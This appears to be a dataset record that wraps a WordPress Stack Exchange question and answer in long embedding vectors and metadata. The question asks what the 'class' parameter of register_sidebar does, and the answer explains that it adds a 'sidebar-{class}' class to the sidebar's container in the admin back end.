0.04736328125,
-0.02197265625,
-0.054107666015625,
0.035858154296875,
-0.036376953125,
0.0168304443359375,
-0.0325927734375,
0.06829833984375,
0.048675537109375,
-0.01262664794921875,
0.0188751220703125,
0.0097198486328125,
-0.0089111328125,
0.00493621826171875,
0.00469207763671875,
-0.00897216796875,
0.018035888671875,
-0.06536865234375,
0.04052734375,
0.0096893310546875,
0.01035308837890625,
-0.02593994140625,
-0.0283050537109375,
-0.013641357421875,
-0.009674072265625,
-0.083740234375,
-0.06396484375,
-0.0014696121215820312,
-0.0260009765625,
-0.0278778076171875,
0.0631103515625,
-0.0238037109375,
0.005718231201171875,
0.08563232421875,
-0.0141143798828125,
0.044036865234375,
-0.03851318359375,
-0.04412841796875,
-0.02789306640625,
-0.070556640625,
-0.0255584716796875,
0.01000213623046875,
0.0008211135864257812,
0.01507568359375,
-0.0625,
0.007434844970703125,
0.04229736328125,
0.055877685546875,
0.055419921875,
0.0139312744140625,
-0.052825927734375,
0.0285797119140625,
-0.03564453125,
0.002727508544921875,
-0.0174102783203125,
0.06939697265625,
0.042144775390625,
-0.03338623046875,
0.03564453125,
-0.00736236572265625,
0.0150909423828125,
0.0088043212890625,
-0.004894256591796875,
0.01422119140625,
0.032562255859375,
0.0021991729736328125,
-0.0170135498046875,
-0.05804443359375,
0.0294189453125,
-0.0266876220703125,
0.0256500244140625,
0.0026988983154296875,
-0.007568359375,
-0.0124359130859375,
0.054840087890625,
0.0143280029296875,
0.0135650634765625,
0.0163421630859375,
-0.01319122314453125,
0.0201873779296875,
-0.0184173583984375,
-0.0333251953125,
-0.0284576416015625,
0.024658203125,
-0.01849365234375,
-0.004497528076171875,
-0.0017862319946289062,
-0.006069183349609375,
0.0212860107421875,
-0.0189666748046875,
0.00623321533203125,
0.005840301513671875,
0.0193023681640625,
-0.042816162109375,
0.05615234375,
-0.036224365234375,
0.01059722900390625,
-0.0413818359375,
0.0323486328125,
-0.07598876953125,
-0.0231170654296875,
0.03411865234375,
0.047821044921875,
-0.01079559326171875,
-0.045196533203125,
-0.037353515625,
-0.04522705078125,
-0.032623291015625,
-0.004070281982421875,
-0.05841064453125,
-0.001636505126953125,
-0.0092620849609375,
-0.0208892822265625,
0.00223541259765625,
-0.05450439453125,
0.01435089111328125,
-0.0089569091796875,
0.0079803466796875,
0.01110076904296875,
-0.006927490234375,
0.002349853515625,
0.0099029541015625,
-0.0364990234375,
-0.0159454345703125,
-0.0211181640625,
0.0088348388671875,
0.046356201171875,
0.01611328125,
-0.01210784912109375,
0.0129547119140625,
0.04541015625,
-0.0194091796875,
0.0016937255859375,
-0.0017118453979492188,
0.019256591796875,
-0.03375244140625,
0.04437255859375,
0.00797271728515625,
0.0016937255859375,
0.004665374755859375,
0.002849578857421875,
-0.057464599609375,
-0.003631591796875,
-0.01343536376953125,
-0.007080078125,
0.055419921875,
-0.048370361328125,
-0.03564453125,
-0.007965087890625,
0.02593994140625,
0.01222991943359375,
0.0279388427734375,
-0.0232086181640625,
-0.0160369873046875,
-0.0159454345703125,
0.052490234375,
0.02880859375,
-0.0232696533203125,
-0.0106353759765625,
0.0204315185546875,
0.0045623779296875,
-0.053375244140625,
0.0013265609741210938,
-0.043304443359375,
0.01593017578125,
-0.02154541015625,
0.032928466796875,
0.0174560546875,
-0.0011577606201171875,
0.00557708740234375,
-0.01560211181640625,
-0.021820068359375,
-0.0037899017333984375,
0.01061248779296875,
0.0177459716796875,
-0.01148223876953125,
0.0005564689636230469,
-0.01062774658203125,
0.05242919921875,
0.0139312744140625,
-0.000013947486877441406,
0.0179443359375,
0.0040283203125,
-0.018096923828125,
-0.01491546630859375,
0.00695037841796875,
0.01483917236328125,
-0.0157623291015625,
0.015380859375,
-0.0360107421875,
0.060302734375,
0.0251312255859375,
-0.0218505859375,
0.0146484375,
-0.01078033447265625,
-0.0018768310546875,
-0.06903076171875,
-0.000019371509552001953,
-0.072021484375,
0.00835418701171875,
-0.0396728515625,
-0.057403564453125,
-0.0158538818359375,
-0.0261077880859375,
0.048583984375,
0.035888671875,
-0.028289794921875,
0.0089263916015625,
0.0205078125,
0.01177215576171875,
-0.016357421875,
0.032440185546875,
-0.0011911392211914062,
0.008575439453125,
-0.005832672119140625,
0.005496978759765625,
0.05230712890625,
-0.01422882080078125,
-0.01214599609375,
0.0799560546875,
0.0195465087890625,
0.0097198486328125,
-0.0301666259765625,
0.10113525390625,
-0.0187225341796875,
0.039154052734375,
0.01263427734375,
-0.000029861927032470703,
0.03851318359375,
0.01358795166015625,
0.0173187255859375,
-0.004055023193359375,
-0.01070404052734375,
0.00792694091796875,
0.037750244140625,
-0.0198822021484375,
-0.01171875,
0.026947021484375,
0.022705078125,
0.01442718505859375,
0.011077880859375,
-0.0014219284057617188,
0.003833770751953125,
0.0011148452758789062,
0.00580596923828125,
-0.032806396484375,
-0.0281982421875,
-0.01702880859375,
-0.0115966796875,
0.02496337890625,
-0.0099029541015625,
-0.034912109375,
0.039520263671875,
-0.038604736328125,
0.03936767578125,
0.06475830078125,
0.00859832763671875,
-0.024078369140625,
-0.040191650390625,
0.0300445556640625,
-0.0234832763671875,
-0.0211334228515625,
0.038787841796875,
0.019683837890625,
-0.033416748046875,
0.0004532337188720703,
0.060455322265625,
-0.031982421875,
0.035858154296875,
0.006183624267578125,
-0.0204620361328125,
-0.00830078125,
0.0303802490234375,
0.006221771240234375,
-0.00969696044921875,
0.021759033203125,
-0.03106689453125,
-0.029205322265625,
-0.032470703125,
0.0161590576171875,
-0.00534820556640625,
-0.01311492919921875,
-0.00026035308837890625,
0.0382080078125,
0.041778564453125,
-0.006275177001953125,
-0.040802001953125,
0.0144195556640625,
0.00749969482421875,
0.0081787109375,
0.06793212890625,
-0.043731689453125,
0.04864501953125,
0.04193115234375,
0.03704833984375,
-0.0192108154296875,
0.013702392578125,
0.024749755859375,
-0.0128936767578125,
-0.003345489501953125,
-0.007076263427734375,
-0.00341796875,
-0.02886962890625,
0.0577392578125,
0.0302581787109375,
0.033935546875,
0.0079498291015625,
0.015716552734375,
0.00273895263671875,
0.00376129150390625,
-0.031158447265625,
-0.007167816162109375,
-0.040802001953125,
0.021240234375,
-0.042755126953125,
0.007274627685546875,
0.09271240234375,
-0.0260772705078125,
0.01035308837890625,
-0.0092620849609375,
-0.026214599609375,
0.01006317138671875,
0.046478271484375,
-0.03338623046875,
0.0158233642578125,
0.04388427734375,
0.00386810302734375,
0.0180511474609375,
-0.0019521713256835938,
-0.00164794921875,
0.00927734375,
-0.0269012451171875,
-0.0277862548828125,
0.03997802734375,
0.035614013671875,
-0.002655029296875,
-0.0024166107177734375,
0.00388336181640625,
-0.01323699951171875,
0.04144287109375,
0.07818603515625,
0.0689697265625,
-0.1002197265625,
0.0069580078125,
0.006740570068359375,
-0.0086212158203125,
0.07513427734375,
0.0017652511596679688,
-0.00013720989227294922,
0.0128173828125,
0.01221466064453125,
-0.0677490234375,
-0.026092529296875,
-0.00914764404296875,
-0.00791168212890625,
-0.007587432861328125,
-0.04998779296875,
0.08001708984375,
0.0217437744140625,
-0.0198974609375,
0.0128936767578125,
0.0136871337890625,
0.0048980712890625,
-0.0321044921875,
-0.00948333740234375,
0.030792236328125,
-0.0283966064453125,
-0.054351806640625,
0.031768798828125,
-0.0120697021484375,
0.00455474853515625,
-0.04638671875,
0.0263824462890625,
0.004566192626953125,
0.050933837890625,
-0.00807952880859375,
-0.0399169921875,
0.04083251953125,
-0.0292510986328125,
0.03717041015625,
-0.02349853515625,
-0.01221466064453125,
0.00809478759765625,
-0.014984130859375,
-0.01279449462890625,
-0.004688262939453125,
0.003932952880859375,
-0.0032215118408203125,
-0.01343536376953125,
0.07086181640625,
-0.0308837890625,
-0.0096893310546875,
0.0188751220703125,
-0.00872802734375,
0.001800537109375,
0.0056610107421875,
-0.00811004638671875,
-0.07672119140625,
-0.033905029296875,
0.0005974769592285156,
-0.050872802734375,
0.014495849609375,
0.003711700439453125,
-0.054718017578125,
0.0799560546875,
-0.014923095703125,
0.043426513671875,
0.0197601318359375,
0.014892578125,
-0.01152801513671875,
0.0014209747314453125,
-0.01605224609375,
0.036376953125,
-0.03790283203125,
0.00836181640625,
-0.01514434814453125,
0.00397491455078125,
0.0021800994873046875,
0.0009546279907226562,
0.054595947265625,
0.0064544677734375,
-0.029083251953125,
-0.026824951171875,
0.0701904296875,
0.0648193359375,
0.033782958984375,
0.018157958984375,
0.019195556640625,
0.0201568603515625,
0.0234375,
0.004604339599609375,
0.035369873046875,
-0.028167724609375,
-0.03021240234375,
0.054779052734375,
0.039520263671875,
0.040771484375,
0.019775390625,
0.01078033447265625,
-0.04681396484375,
0.0229644775390625,
0.039398193359375,
0.00473785400390625,
-0.0018835067749023438,
0.05303955078125,
0.01253509521484375,
-0.01397705078125,
-0.0239410400390625,
-0.0266876220703125,
0.032867431640625,
-0.0029754638671875,
0.04766845703125,
0.062164306640625,
0.0122528076171875,
0.049835205078125,
-0.016357421875,
0.0178375244140625,
-0.04827880859375,
0.0171966552734375,
0.03790283203125,
0.05706787109375,
0.057708740234375,
0.017425537109375,
0.0099945068359375,
0.0212860107421875,
0.04205322265625,
-0.039947509765625,
-0.018463134765625,
-0.0032291412353515625,
-0.0003116130828857422,
0.0164794921875,
-0.025177001953125,
0.041351318359375,
-0.00902557373046875,
-0.01284027099609375,
-0.0226898193359375,
0.01190185546875,
0.059600830078125,
0.0117645263671875,
0.012481689453125,
-0.000003874301910400391,
-0.06341552734375,
0.0115509033203125,
-0.05108642578125,
-0.0081787109375,
0.005229949951171875,
0.0787353515625,
0.0657958984375,
-0.00298309326171875,
-0.0024890899658203125,
-0.052337646484375,
-0.0029582977294921875,
0.0347900390625,
0.041748046875,
-0.0236968994140625,
-0.006618499755859375,
-0.0061492919921875,
0.0261688232421875,
0.0099334716796875,
-0.01001739501953125,
0.033843994140625,
0.06695556640625,
0.01047515869140625,
-0.07000732421875,
-0.00400543212890625,
0.025482177734375,
-0.035125732421875,
0.03131103515625,
-0.03924560546875,
0.01261138916015625,
0.034881591796875,
-0.0009474754333496094,
-0.00775909423828125,
-0.0015716552734375,
0.060211181640625,
-0.008056640625,
0.00011879205703735352,
0.0008535385131835938,
-0.00444793701171875,
0.00554656982421875,
-0.02520751953125,
0.007457733154296875,
-0.005771636962890625,
-0.07684326171875,
-0.00957489013671875,
-0.002170562744140625,
-0.03466796875,
0.001323699951171875,
0.0253448486328125,
-0.006103515625,
0.017120361328125,
0.0119171142578125,
0.01126861572265625,
0.0198516845703125,
-0.008087158203125,
0.0077972412109375,
0.037750244140625,
0.03607177734375,
0.0294036865234375,
-0.021697998046875,
-0.040008544921875,
0.010345458984375,
0.055572509765625,
-0.004058837890625,
0.015716552734375,
-0.00051116943359375,
0.025848388671875,
0.005855560302734375,
0.0005784034729003906,
-0.01004791259765625,
-0.005100250244140625,
0.01393890380859375,
-0.0076141357421875,
-0.00034618377685546875,
0.00016689300537109375,
-0.01641845703125,
0.021820068359375,
0.024078369140625,
-0.045166015625,
0.05206298828125,
-0.049530029296875,
-0.005413055419921875,
-0.0452880859375,
0.0258941650390625,
-0.0229644775390625,
-0.035400390625,
-0.02435302734375,
0.0147552490234375,
0.005130767822265625,
0.0048980712890625,
-0.026092529296875,
0.0168609619140625,
-0.0232086181640625,
-0.0305328369140625,
0.00260162353515625,
-0.051177978515625,
-0.00624847412109375,
0.0167083740234375,
-0.0023441314697265625,
0.01421356201171875,
0.00492095947265625,
-0.02691650390625,
0.004398345947265625,
0.002773284912109375,
-0.0038127899169921875,
-0.0196075439453125,
0.01218414306640625,
-0.0239715576171875,
-0.0268096923828125,
-0.02197265625,
-0.0222930908203125,
-0.00762939453125,
-0.00036716461181640625,
0.0014019012451171875,
-0.040802001953125,
-0.029205322265625,
-0.006732940673828125,
0.004985809326171875,
-0.0280303955078125,
0.029296875,
0.002777099609375,
0.003021240234375,
0.01007080078125,
-0.03472900390625,
-0.0272369384765625,
-0.00971221923828125,
-0.004383087158203125,
-0.0014123916625976562,
-0.0154266357421875,
-0.0167999267578125,
-0.029449462890625,
0.043365478515625,
-0.0295867919921875,
-0.0297393798828125,
-0.0714111328125,
-0.0615234375,
-0.04327392578125,
0.0556640625,
-0.04730224609375,
-0.0174102783203125,
0.02215576171875,
-0.0189208984375,
-0.0252838134765625,
-0.036224365234375,
0.00746917724609375,
0.0010776519775390625,
-0.0012073516845703125,
-0.017425537109375,
0.002750396728515625,
-0.00940704345703125,
-0.0137786865234375,
-0.04046630859375,
0.00525665283203125,
-0.054473876953125,
-0.01171112060546875,
0.0245361328125,
-0.043701171875,
-0.0084381103515625,
-0.048614501953125,
-0.0885009765625,
0.00467681884765625,
0.0294952392578125,
-0.05419921875,
-0.0121002197265625,
-0.03448486328125,
-0.0238800048828125,
0.0496826171875,
0.0083160400390625,
-0.033355712890625,
-0.052154541015625,
0.031219482421875,
0.0236053466796875,
0.06439208984375,
0.0202484130859375,
0.0224151611328125,
0.03997802734375,
0.048614501953125,
0.04583740234375,
0.006282806396484375,
0.0024738311767578125,
-0.019805908203125,
0.01788330078125,
0.024322509765625,
-0.02423095703125,
-0.0227203369140625,
0.0162200927734375,
0.003879547119140625,
-0.034820556640625,
-0.040924072265625,
-0.01122283935546875,
-0.01666259765625,
0.04217529296875,
0.0335693359375,
0.0008921623229980469,
0.0003209114074707031,
-0.0226593017578125,
-0.00878143310546875,
0.03131103515625,
-0.02325439453125,
0.0092315673828125,
-0.09063720703125,
-0.04248046875,
0.0254974365234375,
-0.0008959770202636719,
-0.01419830322265625,
-0.0458984375,
-0.01280975341796875,
-0.0270233154296875,
-0.0360107421875,
-0.0007867813110351562,
0.0177459716796875,
-0.005695343017578125,
0.09503173828125,
-0.069091796875,
-0.030364990234375,
0.0237579345703125,
0.0219573974609375,
0.01155853271484375,
-0.064697265625,
-0.024749755859375,
-0.0107879638671875,
0.01255035400390625,
0.0135955810546875,
-0.0009131431579589844,
0.001117706298828125,
-0.0241546630859375,
-0.01270294189453125,
0.0081939697265625,
0.0204620361328125,
-0.0214080810546875,
0.0134735107421875,
-0.00980377197265625,
0.040863037109375,
-0.0233154296875,
0.062286376953125,
-0.01074981689453125,
0.0220947265625,
-0.00894927978515625,
0.04107666015625,
0.0043792724609375,
-0.033172607421875,
0.07171630859375,
-0.05792236328125,
-0.01406097412109375,
0.0205078125,
-0.04132080078125,
-0.07330322265625,
0.037261962890625,
-0.02960205078125,
-0.0024166107177734375,
0.0148773193359375
] |
82e77d8865534d59cfaad2e003b8cc28c7e18bd6
|
Wordpress Stackexchange
Q: What is the use case for the "Class" parameter in register_sidebar? I registered a new sidebar and filled in the class parameter (see code), I then dropped in an Archive widget and went hunting for my "testing" class. Not there.
So what is the class parameter used for. Can I see an example?
register_sidebar(
array(
'name' => __('Footer Widget One', 'wpbs-framework'),
'id' => 'footer-01',
'class' => 'testing',
'description' => __('The first footer area', 'wpbs-framework'),
'before_widget' => '<div class="footer-sidebar-widget">',
'after_widget' => '</div> <!-- end footer-sidebar-widget -->',
'before_title' => '<h4>',
'after_title' => '</h4>'
)
);
A: If you fill class parameter to register_sidebar function then the class sidebar-{class name} gets added to the div of that sidebar in the back end.
For example if you register the sidebar using following code :
register_sidebar(
array(
'name' => __('Footer Widget One', 'wpbs-framework'),
'id' => 'footer-01',
'class' => 'testing',
'description' => __('The first footer area', 'wpbs-framework'),
'before_widget' => '<div class="footer-sidebar-widget">',
'after_widget' => '</div> <!-- end footer-sidebar-widget -->',
'before_title' => '<h4>',
'after_title' => '</h4>'
)
);
then in back end you will see the sidebar div having class 'sidebar-testing' as following
<div class="widgets-holder-wrap sidebar-testing">
|
Q: What is the use case for the "Class" parameter in register_sidebar? I registered a new sidebar and filled in the class parameter (see code), I then dropped in an Archive widget and went hunting for my "testing" class. Not there.
So what is the class parameter used for. Can I see an example?
register_sidebar(
array(
'name' => __('Footer Widget One', 'wpbs-framework'),
'id' => 'footer-01',
'class' => 'testing',
'description' => __('The first footer area', 'wpbs-framework'),
'before_widget' => '<div class="footer-sidebar-widget">',
'after_widget' => '</div> <!-- end footer-sidebar-widget -->',
'before_title' => '<h4>',
'after_title' => '</h4>'
)
);
A: If you fill class parameter to register_sidebar function then the class sidebar-{class name} gets added to the div of that sidebar in the back end.
For example if you register the sidebar using following code :
register_sidebar(
array(
'name' => __('Footer Widget One', 'wpbs-framework'),
'id' => 'footer-01',
'class' => 'testing',
'description' => __('The first footer area', 'wpbs-framework'),
'before_widget' => '<div class="footer-sidebar-widget">',
'after_widget' => '</div> <!-- end footer-sidebar-widget -->',
'before_title' => '<h4>',
'after_title' => '</h4>'
)
);
then in back end you will see the sidebar div having class 'sidebar-testing' as following
<div class="widgets-holder-wrap sidebar-testing">
|
wordpress
|
{
"language": "en",
"length": 189,
"provenance": "stackexchange_00019.jsonl.gz:436861",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/113458"
}
|
[
0.025238037109375,
-0.0009379386901855469,
-0.016937255859375,
-0.0394287109375,
0.006099700927734375,
-0.0285491943359375,
0.01331329345703125,
-0.0068359375,
-0.0325927734375,
0.01215362548828125,
-0.04425048828125,
0.0250244140625,
0.003711700439453125,
-0.00872039794921875,
0.01898193359375,
-0.037017822265625,
0.027496337890625,
0.00287628173828125,
0.0191802978515625,
-0.01244354248046875,
-0.004199981689453125,
0.006603240966796875,
0.0183868408203125,
0.025421142578125,
0.0222625732421875,
-0.0667724609375,
0.06622314453125,
-0.01314544677734375,
0.019287109375,
-0.0082550048828125,
0.0355224609375,
0.006771087646484375,
0.0221099853515625,
-0.00901031494140625,
0.057525634765625,
0.04205322265625,
0.00640106201171875,
0.006267547607421875,
0.031890869140625,
0.00830078125,
0.054779052734375,
-0.052093505859375,
-0.03948974609375,
0.014190673828125,
-0.0295257568359375,
-0.00443267822265625,
0.047119140625,
0.0015888214111328125,
0.03204345703125,
-0.0290374755859375,
0.013427734375,
-0.042449951171875,
0.0270233154296875,
-0.0386962890625,
-0.047698974609375,
-0.0158233642578125,
-0.017608642578125,
0.031402587890625,
0.01155853271484375,
0.040557861328125,
-0.01153564453125,
0.026397705078125,
0.0013818740844726562,
-0.0260467529296875,
-0.0478515625,
-0.043670654296875,
-0.01534271240234375,
0.0037384033203125,
-0.0176239013671875,
-0.029327392578125,
0.05535888671875,
0.0062103271484375,
-0.01190185546875,
-0.0117340087890625,
-0.00753021240234375,
-0.015533447265625,
0.0345458984375,
0.0193634033203125,
-0.0323486328125,
0.028289794921875,
-0.0172882080078125,
0.00489044189453125,
-0.076416015625,
0.021942138671875,
-0.0007104873657226562,
0.03900146484375,
-0.0268707275390625,
-0.02459716796875,
-0.007720947265625,
-0.01366424560546875,
-0.0090789794921875,
-0.0498046875,
0.037322998046875,
-0.0136871337890625,
-0.0278167724609375,
-0.04791259765625,
-0.01213836669921875,
0.04852294921875,
-0.0205230712890625,
0.02960205078125,
0.0009379386901855469,
-0.04180908203125,
0.05499267578125,
-0.062744140625,
0.032257080078125,
0.0926513671875,
-0.046905517578125,
0.0078887939453125,
0.047637939453125,
0.0157623291015625,
0.046905517578125,
-0.029693603515625,
-0.005382537841796875,
-0.030242919921875,
-0.0478515625,
-0.0087432861328125,
-0.0272979736328125,
-0.0305328369140625,
0.01149749755859375,
-0.048553466796875,
0.0251312255859375,
0.02734375,
0.05133056640625,
-0.0199127197265625,
0.005352020263671875,
0.007717132568359375,
-0.0149993896484375,
-0.06939697265625,
0.0084381103515625,
-0.01047515869140625,
-0.00531768798828125,
0.00765228271484375,
-0.0084991455078125,
0.02685546875,
-0.0008859634399414062,
0.003574371337890625,
0.0816650390625,
0.03692626953125,
0.01412200927734375,
0.0220947265625,
-0.008880615234375,
-0.0213775634765625,
-0.0272369384765625,
0.005359649658203125,
0.012451171875,
0.0216522216796875,
0.035308837890625,
-0.01122283935546875,
-0.020477294921875,
-0.053619384765625,
0.0207061767578125,
-0.0196380615234375,
0.0416259765625,
0.0203857421875,
-0.050567626953125,
0.02545166015625,
-0.0017080307006835938,
-0.0011138916015625,
-0.0601806640625,
-0.03131103515625,
0.005489349365234375,
-0.0009264945983886719,
0.01016998291015625,
-0.03143310546875,
-0.034576416015625,
0.01788330078125,
-0.01617431640625,
-0.01030731201171875,
0.03155517578125,
0.045166015625,
0.0013227462768554688,
-0.041229248046875,
-0.0202484130859375,
0.0460205078125,
0.00788116455078125,
0.0482177734375,
0.01043701171875,
0.022552490234375,
0.021575927734375,
-0.062225341796875,
-0.06231689453125,
-0.06524658203125,
0.06121826171875,
-0.047515869140625,
-0.026641845703125,
-0.015594482421875,
0.032196044921875,
0.0219879150390625,
0.017364501953125,
0.02008056640625,
0.0126953125,
0.02117919921875,
-0.08770751953125,
0.0474853515625,
-0.00862884521484375,
-0.0009517669677734375,
-0.0203094482421875,
0.0183258056640625,
-0.010223388671875,
-0.0192413330078125,
0.003551483154296875,
-0.0220184326171875,
0.0256805419921875,
-0.01378631591796875,
-0.021453857421875,
0.0138092041015625,
-0.0087738037109375,
0.025970458984375,
0.0171966552734375,
0.0272674560546875,
0.006317138671875,
0.0360107421875,
-0.0374755859375,
0.0009274482727050781,
-0.04345703125,
-0.023773193359375,
0.00447845458984375,
0.02801513671875,
0.001705169677734375,
-0.0279998779296875,
-0.0150146484375,
-0.0161895751953125,
0.000835418701171875,
0.04156494140625,
0.04364013671875,
0.01425933837890625,
-0.0108795166015625,
-0.014251708984375,
0.03680419921875,
0.04296875,
-0.0289306640625,
0.01177978515625,
0.0086212158203125,
0.0122528076171875,
-0.046356201171875,
-0.007373809814453125,
-0.03704833984375,
-0.0271759033203125,
-0.0025234222412109375,
0.0450439453125,
0.01377105712890625,
0.032012939453125,
-0.017303466796875,
-0.017303466796875,
0.047576904296875,
0.0308685302734375,
0.0313720703125,
-0.043609619140625,
-0.03582763671875,
0.0262908935546875,
0.0177764892578125,
0.035614013671875,
-0.0012712478637695312,
0.027435302734375,
-0.00824737548828125,
0.015594482421875,
-0.0269012451171875,
-0.033447265625,
0.009429931640625,
0.00319671630859375,
0.0124053955078125,
-0.03704833984375,
-0.0194549560546875,
-0.0102386474609375,
0.04736328125,
0.0008511543273925781,
0.044677734375,
0.00826263427734375,
-0.0192413330078125,
0.0076904296875,
0.01514434814453125,
-0.05206298828125,
0.0101776123046875,
0.019287109375,
0.054595947265625,
-0.025665283203125,
-0.029815673828125,
-0.02593994140625,
0.05511474609375,
-0.00806427001953125,
0.00873565673828125,
0.04937744140625,
-0.0095367431640625,
-0.016845703125,
-0.02325439453125,
-0.053985595703125,
0.01324462890625,
0.045257568359375,
0.01026153564453125,
-0.02960205078125,
-0.0093231201171875,
0.0193328857421875,
-0.0218048095703125,
0.0308380126953125,
0.0531005859375,
-0.0400390625,
0.00388336181640625,
0.0236968994140625,
-0.0022735595703125,
-0.0013751983642578125,
0.009368896484375,
0.01039886474609375,
-0.0208892822265625,
-0.01253509521484375,
0.01096343994140625,
0.0233001708984375,
0.03955078125,
-0.0223236083984375,
-0.00728607177734375,
0.0014715194702148438,
-0.01100921630859375,
0.05499267578125,
0.019500732421875,
0.073486328125,
0.007282257080078125,
-0.02899169921875,
0.01629638671875,
0.03485107421875,
0.02801513671875,
-0.0028934478759765625,
0.043487548828125,
-0.06439208984375,
-0.053680419921875,
0.01171112060546875,
-0.06817626953125,
0.01094818115234375,
0.04095458984375,
-0.0162506103515625,
-0.02154541015625,
-0.027008056640625,
-0.031768798828125,
-0.056060791015625,
-0.058929443359375,
-0.002391815185546875,
0.0006947517395019531,
0.01342010498046875,
0.004924774169921875,
0.002346038818359375,
-0.004024505615234375,
-0.01031494140625,
0.038116455078125,
-0.0091094970703125,
0.0101470947265625,
0.01175689697265625,
0.0134735107421875,
-0.0618896484375,
-0.04736328125,
-0.0224456787109375,
0.02984619140625,
-0.0035400390625,
-0.022796630859375,
0.03143310546875,
0.0008978843688964844,
-0.009490966796875,
0.0080718994140625,
0.001659393310546875,
-0.007747650146484375,
-0.00812530517578125,
-0.00698089599609375,
-0.045745849609375,
-0.0274658203125,
0.00872802734375,
-0.03076171875,
-0.038970947265625,
0.00786590576171875,
0.006855010986328125,
-0.0189208984375,
0.004032135009765625,
0.0060272216796875,
0.0004019737243652344,
0.034027099609375,
-0.059295654296875,
0.07470703125,
0.0007395744323730469,
0.01222991943359375,
-0.038482666015625,
-0.0241546630859375,
-0.031524658203125,
0.036834716796875,
-0.004795074462890625,
0.03045654296875,
0.001949310302734375,
0.0438232421875,
-0.012969970703125,
-0.041748046875,
0.050811767578125,
0.0019664764404296875,
0.0391845703125,
-0.036346435546875,
-0.038330078125,
-0.00855255126953125,
0.10198974609375,
-0.060394287109375,
-0.007091522216796875,
0.0164947509765625,
0.01335906982421875,
-0.036956787109375,
-0.01543426513671875,
-0.051422119140625,
-0.01019287109375,
-0.0279083251953125,
-0.015045166015625,
-0.01552581787109375,
-0.04168701171875,
-0.0184478759765625,
-0.055816650390625,
-0.0252838134765625,
-0.026458740234375,
0.031341552734375,
-0.01171112060546875,
0.0030670166015625,
0.0098419189453125,
-0.00762939453125,
-0.005462646484375,
0.019500732421875,
-0.036651611328125,
-0.072021484375,
-0.0207977294921875,
-0.0031795501708984375,
0.072998046875,
0.0161590576171875,
-0.038543701171875,
-0.0014514923095703125,
0.06396484375,
0.0195465087890625,
-0.00922393798828125,
0.0701904296875,
0.0211181640625,
0.06402587890625,
0.00711822509765625,
0.0489501953125,
-0.0242767333984375,
-0.0021839141845703125,
0.0140380859375,
-0.05450439453125,
0.008087158203125,
-0.01227569580078125,
0.00018656253814697266,
0.051544189453125,
-0.05303955078125,
-0.016448974609375,
-0.028350830078125,
0.006153106689453125,
0.0093994140625,
-0.0166473388671875,
0.0231170654296875,
-0.017578125,
0.0015916824340820312,
0.0044097900390625,
-0.028289794921875,
-0.034759521484375,
0.036224365234375,
0.0675048828125,
0.03399658203125,
-0.009033203125,
-0.0355224609375,
-0.0012969970703125,
0.02813720703125,
-0.0142669677734375,
0.0213165283203125,
0.030487060546875,
-0.0182342529296875,
0.01184844970703125,
-0.0060272216796875,
-0.01544952392578125,
0.0703125,
0.0556640625,
0.0136566162109375,
-0.018829345703125,
0.0159759521484375,
0.00959014892578125,
-0.09039306640625,
-0.0279693603515625,
-0.01361083984375,
0.0049285888671875,
0.023468017578125,
0.01078033447265625,
-0.0257415771484375,
0.05029296875,
0.0157318115234375,
-0.00421905517578125,
-0.0106201171875,
0.01065826416015625,
0.028656005859375,
0.00722503662109375,
0.023345947265625,
-0.0297088623046875,
0.00981903076171875,
-0.0197296142578125,
0.06439208984375,
-0.0163726806640625,
0.019256591796875,
0.0018281936645507812,
0.020172119140625,
-0.02947998046875,
0.054046630859375,
-0.0033397674560546875,
0.05987548828125,
0.036651611328125,
-0.0294189453125,
0.01177215576171875,
0.008453369140625,
0.0287933349609375,
-0.01129913330078125,
0.028411865234375,
0.057098388671875,
0.01221466064453125,
0.0058135986328125,
-0.023162841796875,
-0.034698486328125,
0.014434814453125,
-0.043212890625,
0.06439208984375,
0.032470703125,
-0.006488800048828125,
-0.0252838134765625,
0.019500732421875,
0.02484130859375,
-0.0321044921875,
-0.00832366943359375,
0.045166015625,
0.016876220703125,
0.06591796875,
0.03411865234375,
-0.0621337890625,
0.009613037109375,
0.015380859375,
-0.046478271484375,
-0.031707763671875,
0.03094482421875,
0.0194244384765625,
-0.0008020401000976562,
0.00274658203125,
-0.0321044921875,
0.0242919921875,
-0.016265869140625,
-0.0287933349609375,
0.047760009765625,
0.026275634765625,
-0.0191192626953125,
-0.0408935546875,
-0.03106689453125,
0.055908203125,
-0.0027637481689453125,
0.0017747879028320312,
-0.0032100677490234375,
0.007171630859375,
0.033843994140625,
0.0028934478759765625,
0.00725555419921875,
0.00556182861328125,
-0.00021445751190185547,
0.016571044921875,
0.0031986236572265625,
-0.007282257080078125,
0.00615692138671875,
-0.0128173828125,
-0.0247802734375,
-0.028106689453125,
0.05517578125,
-0.06964111328125,
0.043121337890625,
-0.0263671875,
0.01378631591796875,
-0.0579833984375,
0.04168701171875,
0.0200042724609375,
0.049896240234375,
0.004993438720703125,
-0.016937255859375,
-0.03582763671875,
-0.02532958984375,
-0.0614013671875,
-0.05035400390625,
-0.01349639892578125,
0.01296234130859375,
0.01473236083984375,
0.0190887451171875,
0.017059326171875,
-0.016143798828125,
-0.0178985595703125,
-0.004962921142578125,
0.0211944580078125,
-0.01251983642578125,
-0.04278564453125,
0.047119140625,
-0.011566162109375,
0.057861328125,
-0.0284423828125,
-0.016845703125,
-0.0005645751953125,
-0.0030364990234375,
0.011077880859375,
-0.041473388671875,
-0.0037441253662109375,
-0.0283660888671875,
-0.003719329833984375,
-0.004520416259765625,
0.03814697265625,
-0.007633209228515625,
0.006938934326171875,
-0.01180267333984375,
-0.012725830078125,
-0.006488800048828125,
0.029083251953125,
0.006992340087890625,
0.039306640625,
0.02252197265625,
-0.0216064453125,
-0.00881195068359375,
0.006443023681640625,
-0.001708984375,
-0.020050048828125,
-0.0103759765625,
-0.0269775390625,
0.028472900390625,
-0.0430908203125,
0.03192138671875,
0.0628662109375,
0.01276397705078125,
0.058624267578125,
-0.0216217041015625,
0.0232696533203125,
0.057708740234375,
-0.009307861328125,
0.01380157470703125,
0.0311126708984375,
0.0692138671875,
-0.0006618499755859375,
-0.011962890625,
0.0333251953125,
-0.0311737060546875,
0.0231475830078125,
0.03948974609375,
0.058349609375,
-0.06683349609375,
0.0215606689453125,
0.015777587890625,
-0.0178070068359375,
0.032989501953125,
0.021484375,
-0.01314544677734375,
0.01788330078125,
0.024810791015625,
-0.01116180419921875,
-0.031585693359375,
0.01702880859375,
0.0273895263671875,
0.026580810546875,
0.02044677734375,
0.00958251953125,
